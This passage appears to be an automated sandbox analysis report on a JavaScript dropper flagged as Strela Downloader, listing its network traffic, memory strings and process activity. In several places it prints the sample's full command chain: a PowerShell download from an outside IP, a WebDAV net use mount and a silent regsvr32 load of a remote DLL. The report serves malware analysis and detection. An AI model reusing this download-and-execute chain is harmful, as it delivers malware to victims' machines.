TCP traffic: 192.168.2.9:49768 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:64604 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49752 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1371908634.0000019433072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1434150723.000001FE088D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1434150723.000001FE08931000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1434150723.000001FE08904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1434150723.000001FE08904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000007.00000002.1434150723.000001FE088D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tce
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1433746662.0000020DCA060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7352, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 244312574730704684.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmqlw3xy.q24.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,4009595745192856699,11121187004155077926,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,4009595745192856699,11121187004155077926,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
